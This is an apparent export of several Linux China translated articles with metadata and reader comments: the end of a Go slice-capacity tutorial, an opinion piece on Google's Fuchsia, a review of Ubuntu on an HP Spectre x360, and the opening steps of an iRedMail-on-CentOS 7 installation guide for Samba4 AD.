第一种修复是保留 `make` 调用不变，并且显式地使用索引来设置每个元素。这样，我们就得到如下的代码：
```
vals := make([]int, 5)
for i := 0; i < 5; i++ {
vals[i] = i
}
fmt.Println(vals)
```
*[在 Go Playground 中运行](https://play.golang.org/p/JI8Fx3fJCU)*
在这种情况下，我们设置的值恰好与我们要使用的索引相同，但是你也可以独立跟踪索引。
比如，如果你想要获取 map 的键，你可以使用下面的代码。
```
package main
import "fmt"
func main() {
fmt.Println(keys(map[string]struct{}{
"dog": struct{}{},
"cat": struct{}{},
}))
}
func keys(m map[string]struct{}) []string {
ret := make([]string, len(m))
i := 0
for key := range m {
ret[i] = key
i++
}
return ret
}
```
*[在 Go Playground 中运行](https://play.golang.org/p/kIKxkdX35B)*
这样做很好，因为我们知道我们返回的切片的长度将与 map 的长度相同，因此我们可以用该长度初始化我们的切片，然后将每个元素分配到适当的索引中。这种方法的缺点是我们必须跟踪 `i`，以便了解每个索引要设置的值。
这就让我们引出了第二种方法……
#### 使用 `0` 作为你的长度并指定容量
与其跟踪我们要添加的值的索引，我们可以更新我们的 `make` 调用，并在切片类型之后提供两个参数。第一个，我们的新切片的长度将被设置为 `0`，因为我们还没有添加任何新的元素到切片中。第二个，我们新切片的容量将被设置为 map 参数的长度，因为我们知道我们的切片最终会添加许多字符串。
这会如前面的例子那样仍旧会在背后构建相同的数组，但是现在当我们调用 `append` 时，它会将它们放在切片开始处，因为切片的长度是 0。
```
package main
import "fmt"
func main() {
fmt.Println(keys(map[string]struct{}{
"dog": struct{}{},
"cat": struct{}{},
}))
}
func keys(m map[string]struct{}) []string {
ret := make([]string, 0, len(m))
for key := range m {
ret = append(ret, key)
}
return ret
}
```
*[在 Go Playground 中运行](https://play.golang.org/p/h5hVAHmqJm)*
### 如果 `append` 处理它，为什么我们还要担心容量呢？
接下来你可能会问：“如果 `append` 函数可以为我增加切片的容量，那我们为什么要告诉程序容量呢？”
事实是，在大多数情况下，你不必担心这太多。如果它使你的代码变得更复杂，只需用 `var vals []int` 初始化你的切片，然后让 `append` 函数处理接下来的事。
但这种情况是不同的。它并不是声明容量困难的例子，实际上这很容易确定我们的切片的最后容量，因为我们知道它将直接映射到提供的 map 中。因此，当我们初始化它时，我们可以声明切片的容量，并免于让我们的程序执行不必要的内存分配。
如果要查看额外的内存分配情况，请在 Go Playground 上运行以下代码。每次增加容量，程序都需要做一次内存分配。
```
package main
import "fmt"
func main() {
fmt.Println(keys(map[string]struct{}{
"dog": struct{}{},
"cat": struct{}{},
"mouse": struct{}{},
"wolf": struct{}{},
"alligator": struct{}{},
}))
}
func keys(m map[string]struct{}) []string {
var ret []string
fmt.Println(cap(ret))
for key := range m {
ret = append(ret, key)
fmt.Println(cap(ret))
}
return ret
}
```
*[在 Go Playground 中运行](https://play.golang.org/p/fDbAxtAjLF)*
现在将此与相同的代码进行比较，但具有预定义的容量。
```
package main
import "fmt"
func main() {
fmt.Println(keys(map[string]struct{}{
"dog": struct{}{},
"cat": struct{}{},
"mouse": struct{}{},
"wolf": struct{}{},
"alligator": struct{}{},
}))
}
func keys(m map[string]struct{}) []string {
ret := make([]string, 0, len(m))
fmt.Println(cap(ret))
for key := range m {
ret = append(ret, key)
fmt.Println(cap(ret))
}
return ret
}
```
*[在 Go Playground 中运行](https://play.golang.org/p/nwT8X9-7eQ)*
在第一个代码示例中，我们的容量从 `0` 开始，然后增加到 `1`、 `2`、 `4`, 最后是 `8`，这意味着我们不得不分配 5 次数组，最后一个容纳我们切片的数组的容量是 `8`，这比我们最终需要的要大。
另一方面，我们的第二个例子开始和结束都是相同的容量（`5`），它只需要在 `keys()` 函数的开头分配一次。我们还避免了浪费任何额外的内存，并返回一个能放下这个数组的完美大小的切片。
### 不要过分优化
如前所述，我通常不鼓励任何人做这样的小优化，但如果最后大小的效果真的很明显，那么我强烈建议你尝试为切片设置适当的容量或长度。
这不仅有助于提高程序的性能，还可以通过明确说明输入的大小和输出的大小之间的关系来帮助澄清你的代码。
### 总结
>
> 你好！我写了很多关于Go、Web 开发和其他我觉得有趣的话题。
>
>
> 如果你想跟上最新的文章，请[注册我的邮件列表](https://www.calhoun.io/how-to-use-slice-capacity-and-length-in-go/?utm_source=golangweekly&utm_medium=email#mailing-list-form)。我会给你发送我新书的样例、Go 的 Web 开发、以及每当有新文章（通常每周 1-2 次）会给你发送邮件。
>
>
> 哦，我保证不会发垃圾邮件。我像你一样讨厌它 :)
>
>
>
本文并不是对切片或数组之间差异的详细讨论，而是简要介绍了容量和长度如何影响切片，以及它们在方案中的用途。
为了进一步阅读，我强烈推荐 Go 博客中的以下文章：
* [Go Slices：使用及内部](https://blog.golang.org/go-slices-usage-and-internals)
* [数组、切片（和字符串）：“append” 的机制](https://blog.golang.org/slices)
* [切片技巧](https://github.com/golang/go/wiki/SliceTricks)
---
作者简介：
Jon 是一名软件顾问，也是 《Web Development with Go》 一书的作者。在此之前，他创立了 EasyPost，一家 Y Combinator 支持的创业公司，并在 Google 工作。
<https://www.usegolang.com>
---
via: <https://www.calhoun.io/how-to-use-slice-capacity-and-length-in-go>
作者：[Jon Calhoun](https://www.calhoun.io/hire-me) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Fuchsia 对 Android 意味着什么
|
Jack Wallen
|
http://www.techrepublic.com/article/what-fuchsia-could-mean-for-android/
|
Fuchsia 可能是下个会替代 Android 或 Chrome OS 的系统。猜测有很多，Jack Wallen 对此补充了一些给 Google 的赞誉和告诫。
|
/data/attachment/album/201706/03/150725uijqhhoo7qu1do3o.jpg.thumb.jpg
|
/data/attachment/album/201706/03/150725uijqhhoo7qu1do3o.jpg
| true | false | true |
geekpi
| false |
[
"Android",
"Fuschia"
] |
观点
|
{
"viewnum": 4650,
"commentnum": 1,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "172.104.56.94",
"message": "fuchsia flutter dart <br />\r\n最近表示密切关注",
"username": "来自美国的 Firefox 53.0|GNU/Linux 用户",
"date": "2017-06-03T15:36:53"
}
] |
[] |
Fuchsia 可能是下个会替代 Android 或 Chrome OS 的系统。猜测有很多，Jack Wallen 对此补充了一些给 Google 的赞誉和告诫。
| 2017-06-03T15:07:00 | 2017-06-03T15:07:00 | 8,565 |
/article-8565-1.html
|
Fuchsia 可能是下个会替代 Android 或 Chrome OS 的系统。猜测有很多，Jack Wallen 对此补充了一些给 Google 的赞誉和告诫。
Google 总是以 “Google” 的方式解决或者做某件事。因此，当他们开始做一个让很多人挠头的项目时，大家是不觉得奇怪的。该项目被称为 [Fuschia](https://github.com/fuchsia-mirror)，大多数密切关注 Google 和 Android 的人都知道这个新平台。
对于那些还没紧跟 Google 最新消息的用户而言，Fuschia 是一个新的、开源的实时操作系统，它首先出现于 2016 年 8 月。那时，Fuchsia 只不过是一个命令行。一年不到的时间过去了，这个平台已经有了一个相当有趣的 GUI。
可能最让 Linux 拥趸失望的是，Fuchsia 并没有使用 Linux 内核。这个项目完全是 Google 开发的，使用了 Google 开发的名为 “Magenta”微内核。他们为什么这么做？了解到 Google 的最新设备 Pixel 运行的内核是 Linux 内核 3.18，你就会有你自己的答案了。Linux 3.18 发布于 2014 年（也就是说，在技术上已经过时了）。既然这样，为什么 Google 不能自己完全单干，以便尽可能地保持他们的移动平台跟上最新发展？
尽管我不愿意承认 Linux 可能不会（在未来的某个时期）成为全球最广泛使用的生态系统，但我相信这是 Google 的正确举措，不过我有一个重要的告诫。
### 首先，一些赞誉
首先我必须说，Google 开源 Fuchsia 这事真棒。Android 已经从开源的 Linux 内核中受益多年，所以这促使了 Google 开放他们最新的项目。说实话，如果不是开源和 Linux 内核，Android 就不会发展得那么快了。事实上，我大胆猜测，如果 Android 没有 Linux 和开源的支持，现在移动市场份额会显示出非常不同的、由苹果制定的结果。
一些喝彩是有必要的。操作系统不时需要完全重新思考。Android 是一个为移动平台服务得很好的令人惊奇的平台。然而，走到现在也就差不多了。考虑到消费界一直在寻找下一个大事件，而 Android（和 iOS）的潜力已尽榨干。与一个严重过时的内核相比，还是准备迎接对 Fuchsia 的喜爱吧。
谷歌从来不会停滞不前，这个新平台是证明。
### 一个告诫
开始这部分之前，我需要先给大家展示我的开源背景。自从 90 年代末以来，我一直是 Linux 的用户，并几乎涉及了开源的各个方面。在过去几年中，我一直在关注 Ubuntu 的发展，并对他们（现在）失败的融合尝试发表过看法。换言之，这也是我对 Fuchsia 的担心。
我认为 Google 对 Fucshia 的大计划是创建一个面对所有设备的操作系统：智能手机、IoT、Chromebook。从表面看来，这听起来像是一个会有重大成果的想法。但是，如果你看过 Canonical 对 Unity 8/Mir 融合的努力，你就会对“一个平台统治所有”的想法感到畏惧。当然这并不完全相同。我觉得 Google 正在创建一个单一的平台，让你 “融合” 所有的设备。毕竟，智能手机与物联网融合有什么好处？我们不需要在手机和恒温器之间交换数据。对么？对么？？？
即使如此，这应该是谷歌的计划，我会提醒他们近距离了解下 Canonical 和 Unity 8 之间发生的事。想法很好，但根本无法实现。
我也有可能错了。Google 可能只是将 Fuchsia 看作是 Android 的替代品。这很可能是 Google 需要替换过时的 Linux 内核，并决定“把一切都包含进来”。但是考虑到 Armadillo（Fuchsia UI）由跨平台的 [Flutter SDK](https://flutter.io/) 编写，跨越平台边界的想法就有了可能。
或者，也许 Fuchsia 只是谷歌说的 “让我们用今天所知道的知识重建我们的智能手机平台，看看它会走向何方”。如果是这样，我可以想象，Google 移动操作系统将会取得重大成功。然而，现实情况是，人们必须面对的是“一个平台统治所有”还有许多要解决的事情。Google 已经在 Chromebook 上测试 Android app 很长时间了。不幸的是，这个思路一直反响平平（最多如此）。随着微软以自己的方式来直面 Chromebook，Google 知道他们必须扩大生态系统，否则将会失去宝贵的领地（如在教育领域）。要解决这个问题的一种方法是使用单个操作系统来驱动智能手机和 Chromebook。这意味着所有的程序都可以在两个平台（这是一个重要的福音）运行以及生态系统的普遍性（再一次，这是巨大的福音）。
### 猜测
Google 对会引发很多行家的猜测的事情一直小心谨慎。一般来说，至少对于 Android，谷歌似乎一直都在做出正确的选择。如果他们相信 Fuchsia 是要走的路，那么我就倾向于相信他们。然而，围绕这个平台有如此多的不确定性会让人们一直迫切地要知道。
那你怎么看？Fuchsia 会成为什么？和我一起猜猜看。
---
作者简介：
Jack Wallen 是 TechRepublic 和 Linux.com 的获奖作家。他是开源的狂热倡导者, 也是 The Android Expert 的代言人。有关 Jack Wallen 的更多消息，请访问他的网站 jackwallen.com。
---
via: <http://www.techrepublic.com/article/what-fuchsia-could-mean-for-android/>
作者：[Jack Wallen](http://www.techrepublic.com/article/what-fuchsia-could-mean-for-android/#modal-bio) 译者：[geekpi](https://github.com/geekpi) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
十动然拒：一款 Linux 笔记本电脑点评
|
Brett Slatkin
|
http://www.onebigfluke.com/2017/04/discovering-my-inner-curmudgeon-linux.html
|
我是个 Mac 电脑重度用户，但我其实 对目前最新的 MacBook Pro 是失望的。由此我就开始去研究了下看是否有 一些可以替代前者（New MacBook Pro） 的选择。然而让我也意想不到的是，这居然使我产生了离开 Mac 平台的决定。
|
/data/attachment/album/201706/03/154436lp44p43t3qdq0u7q.jpg.thumb.jpg
|
/data/attachment/album/201706/03/154436lp44p43t3qdq0u7q.jpg
| true | false | true |
kenxx
| true |
[
"笔记本"
] |
观点
|
{
"viewnum": 14651,
"commentnum": 9,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "14.24.216.202",
"message": "ubantu不好用，不够稳定，不如XP，也容易造成死机，虽然我自己的电脑性能也是问题，但作为一种linux系统，ubantu比XP更容易死机，后来装windows7,速度反而更快，更稳定。所以，我相信，如果不和芯片厂商联合研发，linux系统想代替windows，还要稳定好用，是完全不可能的事情，那纯粹是一种经不起考验的传说！",
"username": "来自广东广州的 MIUI Browser 8.8|Android 4.4 用户",
"date": "2017-06-04T09:07:54"
},
{
"postip": "112.246.250.153",
"message": "Linux是Intel的子公司，所以只支持Intel的产品。我现在使用的sandy bridge，在Ubuntu下3天了，没遇到什么问题。",
"username": "cuthead [Firefox 53.0|Ubuntu]",
"date": "2017-06-04T14:12:29"
},
{
"postip": "175.141.36.31",
"message": "Linux 多好, 但都是受有限资源的限制<br />\r\n死机的问题, 多源自用户没注意与监控 RAM 内存的使用.<br />\r\n明明不够用, 还启动太多程序与服务(包括自动启动的), 让 RAM 耗尽导致死机, 这简直就是作死的典范.",
"username": "yomun [Chrome 58.0|GNU/Linux]",
"date": "2017-06-04T20:01:07"
},
{
"postip": "183.62.222.74",
"message": "这回复里都是些什么玩意啊。。",
"username": "来自广东深圳的 Firefox 53.0|Ubuntu 用户",
"date": "2017-06-05T09:11:20"
},
{
"postip": "27.203.178.50",
"message": "KDE其实挺不错的，不过起点太高了。",
"username": "cuthead [Firefox 53.0|Ubuntu]",
"date": "2017-06-05T23:53:59"
},
{
"postip": "116.231.28.68",
"message": "Linux是intel的子公司。。。我还以为错过了什么大新闻",
"username": "来自上海的 Chrome 58.0|Mac 10.12 用户",
"date": "2017-06-08T10:25:56"
},
{
"postip": "114.245.14.245",
"message": "哈哈，这是调侃啦",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-06-08T14:16:56"
},
{
"postip": "111.43.240.172",
"message": "HP是个好东西，Ubuntu是个好东西，钱是个好东西。。。",
"username": "Ghjoker [Firefox 45.0|GNU/Linux]",
"date": "2017-06-09T19:08:26"
},
{
"postip": "119.130.231.254",
"message": "二合一、触摸屏什么的还是不要用Linux了。否则很多硬件用起来可能有问题。<br />\r\n就普通台式机和笔记本还是可以的。",
"username": "来自广东广州的 Firefox 54.0|Fedora 用户",
"date": "2017-06-17T13:02:10"
}
] |
[] |
我是个 Mac 电脑重度用户，但我其实 对目前最新的 MacBook Pro 是失望的。由此我就开始去研究了下看是否有 一些可以替代前者（New MacBook Pro） 的选择。然而让我也意想不到的是，这居然使我产生了离开 Mac 平台的决定。
| 2017-06-03T15:44:00 | 2017-06-03T15:44:00 | 8,566 |
/article-8566-1.html
|
>
> 简述：我是个 Mac 电脑重度用户，但我其实 [对目前最新的 MacBook Pro 是失望的](http://www.onebigfluke.com/2016/10/lamenting-progress.html)。由此我就开始去研究了下看是否有 [一些可以替代前者（New MacBook Pro）](http://www.onebigfluke.com/2016/10/alternatives-to-apple-computers.html) 的选择。然而让我也意想不到的是，这居然使我产生了离开 Mac 平台的决定。
>
>
>
首先我们来看看 2017 年 CES（LCTT 译注：International Consumer Electronics Show，国际消费类电子产品展览会）大会后发布的 HP Spectre x360 13 寸笔记本电脑，拥有 4K 显示屏的新款笔记本电脑。我是从[百思买](http://www.bestbuy.com/site/hp-spectre-x360-2-in-1-13-3-4k-ultra-hd-touch-screen-laptop-intel-core-i7-16gb-memory-512gb-solid-state-drive-dark-ash-silver/5713178.p?skuId=5713178)（这不是一个赞助链接）买来的这款电脑，因为这是唯一售卖这款配置的零售商。我的目标是使用 Ubuntu 这个系统替代跑在这款笔记本上的 Windows 。
以下是我过去几个月使用这款笔记本的感受，还有一些在使用中对自己的使用习惯的重新认识。
### Ubuntu 系统
安装 Ubuntu 还是很简单的。当时电脑到手的时候预装的是 Windows 10 的系统。当时我使用 Windows 内建的硬盘管理工具来 [缩减主分区](https://www.howtogeek.com/101862/how-to-manage-partitions-on-windows-without-downloading-any-other-software/) 并将剩余的空间分配给 Linux 系统。我 [通过 USB 设备加载了 Ubuntu 系统镜像](https://www.ubuntu.com/download/desktop/create-a-usb-stick-on-windows)，这款笔记本能够很方便的适配 USB-A 接口（这在新版的 Mac 系列电脑是没有的）。然后我就按照 [Ubuntu 的简便安装说明](https://www.ubuntu.com/download/desktop/install-ubuntu-desktop)，将 BIOS 设置为 [从 USB 启动](http://support.hp.com/us-en/document/c00364979)。
### 屏幕
Spectre x360 的 4k 显示屏简直令人惊艳。令我觉得吃惊的是，最新的 Ubuntu 系统在高 DPI 的屏幕上体验也是非常不错的。系统内建的设置工具配合 [gnome-tweak-tool](https://launchpad.net/gnome-tweak-tool) 这样的附加工具，你可以更好的控制用户界面在 4K 屏上的渲染，2 倍于原生大小的控件使得它们看起非常不错，你也可以将默认字体大小调整到一个合适的比例，甚至还可以调整窗口标题栏和任务管理器上的图标大小。虽然有点繁琐，但我自己设置时也没花多久时间。
### 触控板
实话说触控板有点细微的声音，但还是能够很不错的配合手指移动，Ubuntu 系统也默认支持多点触控。然而你会很快的发现你在打字的时候会误触触控板导致光标到处乱晃。在 Linux 上的默认 Synaptics 触控驱动并不能够很好的识别这款机型的手掌误触，解决方法是切换到 [新的 libinput 系统](https://launchpad.net/xserver-xorg-input-libinput)，通过调整 [xinput 设置](https://wiki.archlinux.org/index.php/Libinput#Configuration) 就可以让触控板工作的不错。
但我所习惯的手势操作，比如两指滑动回到 Chrome 浏览器，又或者说四指滑动切换工作区，这些操作在 Ubuntu 系统上就没法用了，或者实在想用可以通过 [libinput-gestures](https://github.com/bulletmark/libinput-gestures) 这样的工具来启用他们。令人失望的是，就算使用上面的工具体验其实也一般，因为其实只有 50% 的几率能识别那些手势。“点击触控板”的功能也有些问题：当你使用大拇指双击触控板或触控板按钮表面想要点击，系统会认为你要移动光标或者使用多点触控来调整大小，又一次的失望。
### 键盘
键盘手感就还不错。键盘的键程挺长，这样打起字来就会比较快。左侧 Ctrl 键在左下角所以对我来说就几乎用不上了（不像 Macs 系列电脑就会将 function 键放在那）。方向键工作的不错。比较奇特的是，键盘右侧有一列额外的键，分别是 Delete 键、Home 键、Page Up 键、Page Down 键和 End 键。由于使用习惯导致我在将手从箭头控制键换到 Home 键的时候没法额外考虑还有一列键。而且由于这样的设计我在打字时手没法维持在键盘中央，这让我觉得好像离键盘右侧的键远了许多。
起初我觉得那一列键（Home 键、Page Up 键之类）是多余的，但自从我使用 Sublime Text（一款代码编辑器）来写代码之后，我发现在 Linux 系统和 Windows 系统下输入文本时其实挺依赖那些键的，这就很好理解为什么惠普公司在设计时决定要加入这些键了。作为一个 Mac 用户，我经常会使用 Command 键和向右键来使光标到行结束的位置，而在 Linux 系统和 Windows 系统用户就直接使用 End 键。其实要将键盘映射成和 Mac 一样也不是不行的，但是却很难保证所有的程序都会一样的映射。我花了挺多时间在重组我的肌肉记忆上，这个过程蛮痛苦的，就好像我尝试去使用 [Dvorak 键盘布局](https://en.wikipedia.org/wiki/Dvorak_Simplified_Keyboard) 的那个夏天。
### 音响
此款机型有四个扬声器：两个 B&O（Bang & Olufsen，音响制造商）扬声器在上部，两个在下部。上部的两个扬声器在 Ubuntu 系统中没法工作，这是一个 [内核问题](https://bugzilla.kernel.org/show_bug.cgi?id=189331)，尚未解决。下部的两个扬声器正常工作但声音有点小。耳机插孔使用正常，当插上耳机时扬声器也会自动静音。但我相信这可能是由于我为了让其他的硬件工作而将内核升级到了 [4.10 测试版本](http://kernel.ubuntu.com/%7Ekernel-ppa/mainline/v4.10/) 才出现的。我觉得社区最终会解决内核问题，所以上部扬声器无法工作的问题应该只是暂时性的。这些情况其实也就证明了为什么惠普公司自带的是带有一堆额外的神奇驱动的 Windows 系统。
### 电池续航
电池续航的问题真的就很糟糕了，我想主要是因为 4k 显示屏太耗电了。此外我还发现了 CPU 散热风扇在高速运转使会从笔记本左侧的出风口吹出热风。这风热的程度如果你把它放到你的腿上会让你感觉很不舒服。我觉得这应该是 Ubuntu 的默认电源管理配置的缺陷。为了解决这个问题，你可以使用诸如 [powertop](https://blog.sleeplessbeastie.eu/2015/08/10/how-to-set-all-tunable-powertop-options-at-system-boot/) 或者 [pm-powersave](http://askubuntu.com/questions/765840/does-pm-powersave-start-automatically-when-running-on-battery) 这样的工具。Intel 公司也提供 [Linux 系统固件支持](https://01.org/linuxgraphics/downloads/firmware) 来使 GPU 更好的工作。通过各种优化，我可以使电池续航能力接近 5 小时：和广告中宣传的 9 小时以上相去甚远。其实也有好的一点，使用 USB-C 接口充电速度快很多。这个接口也能很好的配合我得 Nexus X 手机充电，因为它们都是一样的接口。
### 二合一
惠普 Spectre x360 这款机型名字来源于它独特的设计，通过屏幕旋转可以变成一台平板电脑。变形后在 Ubuntu 系统上无需设置就可以完成点击、滚动和缩放操作。它甚至支持直接使用前进/后退手势操作，这些操作连它的触摸板也不支持。当你将它旋转为平板模式，键盘和触摸板会自动禁用。你可以将系统设置为 [便携模式](https://launchpad.net/onboard)，Gnome 桌面键盘就会启用，体验还不错哦。比较糟糕的是不支持屏幕自动旋转，但我还是使用 [iio-sensor-proxy](https://github.com/hadess/iio-sensor-proxy) 和 [这个一次性脚本](http://askubuntu.com/questions/634151/auto-rotate-screen-on-dell-13-7000-with-15-04-gnome/889591#889591) 东拼西凑地实现了这个功能。最后我虽然实现了这个功能，但是我发现使用 16:9 的屏幕好伤我的眼睛，当电脑处于平板电脑时候我需要使我的眼睛移动很长一段距离。
### 窗口管理器和各种软件
从 1998 年 RedHat 5.0 版开始我就不怎么常用 Linux 桌面版本了。时光飞逝，Ubuntu 发展迅猛，默认用户界面是他们自主研发的 Unity（Gnome 的变体），感觉还不错。我其实用过原生的 Gnome ，但它与别的桌面比较起来让我觉得非常的笨拙。我最后还是最喜欢 KDE，而且如果让我再次选择，我也会选择 KDE 的 [Kubuntu](https://www.kubuntu.org/)。总体来说 KDE 的窗口管理器让我觉得非常棒而且我想要的它都有！
在这次的回归 Linux 探索中，我意识到其实我基本上就在使用以下 8 个软件：浏览器（Chrome）、终端（没什么特别喜欢的）、文本编辑器（Sublime Text 3）、配置工具、可视化文件管理器、自动化备份工具（Arq）、类似 Flux 的屏幕亮度调节器，和图片编辑器（GIMP）。这几乎就是我所需要的软件了，其他别的需求非常容易满足。此外，我还比较依赖几个控件：时钟、WIFI 状态、电池状态和音量调节。我一般也会使用任务管理器（比如 Dock）和虚拟工作空间（比如 Mission Control 或 Expose）。我几乎不会用桌面图标、桌面提醒、最近使用的软件、搜索功能和应用软件菜单，所以我就可以适应 Linux 系统的种种设置了。
### 十动然拒
如果你正在考虑购入一款笔记本电脑，或许可以试试这款。尽管我是这样说，我还是准备要卖掉这台 Spectre x360，然后回到我的 2012 年中期款的 MacBook Air 怀抱中去。也不能说惠普公司或是 Linux 桌面平台的错吧，主要还是因为时间更宝贵。
我是如此的被 Mac 系统的高端用户体验所宠爱着，以至于我对别的东西都特别难以高效起来。我的脑袋几乎已经被 Mac 的触摸板、键盘布局和打字输入习惯等等体验所征服。所以我用起来惠普的电脑和 Linux 系统就觉得被拖慢了很多，感觉好像我就要完蛋了。当我使用计算机的时候，我只希望花更多的时间在提高我的技术（编程、写作等等）上。我只希望我将我仅有的“再学习”能力使用在一些尚未明白和不熟悉的课题上，比如 [新型函数式编程语言](http://docs.idris-lang.org/en/latest/tutorial/index.html#tutorial-index) 和 [同态加密](https://arxiv.org/abs/1702.07588) 等等。我再也不想花更多的时间去学习什么基本使用方法了。
反过来说，我也曾花了超过 2 年时间去学习弹钢琴，弹钢琴需要我死记硬背和不断的机械性重复训练。当我在学习钢琴的时候我发现这个过程其实打开了我的思维，让我对曾经有了更深的理解。我对音乐的学习，也让我懂得了许多曾经没有理解的事。可以说，我对音乐的“再学习”打开了我的视野。所以，我也琢磨去适应惠普的硬件和 Linux 桌面系统会不会也对我有这样的影响。
最终说明，我还是固执的。可能以后吧，我也会需要去适应新的工作方式来让我保持最新的状态，就好像电报员终有一天一定会从摩斯电码转向去使用 [电传打字机](https://en.wikipedia.org/wiki/Teleprinter) 一样。我希望到了未来的那天，我仍然会有耐心和远见让我平滑的过渡。可能，只有当这样东西会创造出更多的可能性，我才会选择那些需要“再学习”的东西，就好像一个为达到目的才去做的石蕊试验（测试液体酸碱度？）一样。至少目前来说，我还是会选择留在 Mac 下。
---
作者简介：
我是《Effective Python》一书的作者，我是一名软件工程师，我曾在谷歌工作了 11 年，我目前专注于调查统计，此外，我还曾在云计算基础设施建设和开放协议上有过工作经验。
以后，如果你还想阅读我写的文章，可以关注我的推 @haxor。如果你遇到什么问题，也可以写邮件给我，或者直接在下面写评论。如果你觉得这篇文章还不错，点击这里也可以看看我别的兴趣爱好。
---
via: <http://www.onebigfluke.com/2017/04/discovering-my-inner-curmudgeon-linux.html>
作者：[Brett Slatkin](http://www.onebigfluke.com/) 译者：[kenxx](https://github.com/kenxx) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Samba 系列（十）：如何在 CentOS 7 上安装 iRedMail 集成到 Samba4 AD
|
Matei Cezar
|
http://www.tecmint.com/install-iredmail-on-centos-7-for-samba4-ad-integration/
|
本系列教程将引导你了解如何在 CentOS 7 安装 iRedMail 以及 Samba4 AD 域控制器，以便域帐户可以通过 Thunderbird 桌面客户端或通过 Roundcube Web 界面发送或接收邮件。
|
/data/attachment/album/201706/03/183457zc0cexazlnx4z0kv.jpg.thumb.jpg
|
/data/attachment/album/201706/03/183457zc0cexazlnx4z0kv.jpg
| true | false | true |
geekpi
| false |
[
"samba"
] |
系统运维
|
{
"viewnum": 8719,
"commentnum": 1,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "180.158.63.84",
"message": "新版的 里面 SOGO 可以实现 exchange 地址簿同步的 效果了么、",
"username": "来自上海的 Chrome 48.0|Windows 10 用户",
"date": "2017-06-08T00:01:17"
}
] |
[
{
"raid": 8516,
"displayorder": 0
}
] |
本系列教程将引导你了解如何在 CentOS 7 安装 iRedMail 以及 Samba4 AD 域控制器，以便域帐户可以通过 Thunderbird 桌面客户端或通过 Roundcube Web 界面发送或接收邮件。
| 2017-06-03T18:36:36 | 2017-06-03T18:36:36 | 8,567 |
/article-8567-1.html
|
本系列教程将引导你了解如何在 CentOS 7 安装 iRedMail 以及 [Samba4 AD 域控制器](/article-8065-1.html)，以便域帐户可以通过 Thunderbird 桌面客户端或通过 Roundcube Web 界面发送或接收邮件。
将要安装 iRedMail 的 CentOS 7 服务器需允许通过 25 和 587 端口进行 SMTP 或邮件路由服务，并且还将通过 Dovecot 作为邮件传递代理，提供 POP3 和 IMAP 服务，两者都使用安装过程中签发的自签名证书进行安全保护。
收件人邮箱将与 Roundcube 提供的 webmail 用户代理一起存储在同一台 CentOS 服务器上。iRedMail 将使用 Samba4 AD 来查询和验证收件人帐户，在 AD 组的帮助下创建邮件列表，并通过 Samba4 AD DC 控制邮件帐户。
#### 需要：
* [在 Ubuntu 上使用 Samba4 创建 AD 基础架构](/article-8065-1.html)
### 步骤 1：在 CentOS 7 上安装 iRedMail
1、 在安装 iRedMail 之前，请先确保你使用下面的指南在你的机器上安装了一个全新的 CentOS 7 操作系统：
* [全新安装 CentOS 7 Minimal](/article-8048-1.html)
2、 同样使用下面的命令确保系统更新了最新的安全补丁和软件包。
```
# yum update
```
3、 系统同样需要一个 FQDN 主机名，使用下面的命令设置。使用你自定义的 FQDN 代替 `mail.tecmint.lan` 变量。
```
# hostnamectl set-hostname mail.tecmint.lan
```
使用下面的命令验证系统主机名。
```
# hostname -s # Short name
# hostname -f # FQDN
# hostname -d # Domain
# cat /etc/hostname # Verify it with cat command
```
*验证 CentOS 7 主机名*
4、 通过手动编辑 `/etc/hosts`，将机器的 FQDN 和短名称映射到机器的回环 IP 地址。添加如下所示的值，并相应替换 `mail.tecmint.lan` 和 mail 的值。
```
127.0.0.1 mail.tecmint.lan mail localhost localhost.localdomain
```
5、 iRedMail 专家建议应该完全禁用 SELinux。通过编辑 `/etc/selinux/config` 并将 SELINUX 参数的值从 `permissive` 设置成 `disabled` 来禁用 SELinux。
```
SELINUX=disabled
```
重启机器并应用新的 SELinux 策略，或者运行 `setenforce` 带上参数 `0` 来强制 SELinux 立即禁用。
```
# reboot
或者
# setenforce 0
```
6、 接下来，安装下面这些接下来会用来系统管理的软件包：
```
# yum install bzip2 net-tools bash-completion wget
```
7、 要安装 iRedMail，首先打开下载页 <http://www.iredmail.org/download.html> 中并用下面的命令下载最新的版本。
```
# wget https://bitbucket.org/zhb/iredmail/downloads/iRedMail-0.9.6.tar.bz2
```
8、 下载完成后，使用下面命令解压压缩包并进入解压后的 iRedMail 目录。
```
# tar xjf iRedMail-0.9.6.tar.bz2
# cd iRedMail-0.9.6/
# ls
```
9、 使用下面的命令执行 iRedMail 的 shell 脚本来开始安装。接下来安装器会询问一系列的问题。
```
# bash iRedMail.sh
```
10、 在首个欢迎提示中，点击 `Yes` 来继续安装。
*iRedMail 安装向导*
11、 接下来，选择邮件存储的位置。iRedMail 默认邮箱的存储位置在 `/var/vmail/` 中。
如果这个目录所在的分区有足够的空间来保存你所有域帐户的邮件，接着点击 Next 来继续。
否则，如果你已经配置一个更大的分区来用于邮件存储，那么就用不同的目录来更改默认位置。
*iRedMail 邮件存储路径*
12、 在下一步中，选择要与 iRedMail 进行交互的前端 Web 服务器。今后将完全禁用 iRedMail 管理面板，因此我们将使用前端 Web 服务器仅通过 Roundcube Web 面板访问帐户邮件。
如果你每小时没有数以千计的邮件帐户访问 webmail 界面，那么你应该使用 Apache Web 服务器来实现其灵活性和易于管理。
*iRedMail 首选的 Web 服务器*
13、 在此步骤中，由于 Samba4 域控制器的兼容性原因，请选择 OpenLDAP 后端数据库，并点击 Next 继续，但是一旦将 iRedMail 集成到 Samba 域控制器中，我们将不再使用该 OpenLDAP 数据库。
*iRedMail LDAP 后端*
14、 接下来，如下图所示，为你的 Samba4 域名指定 LDAP 后缀，然后点击 Next 继续。
*iRedMail LDAP 后缀*
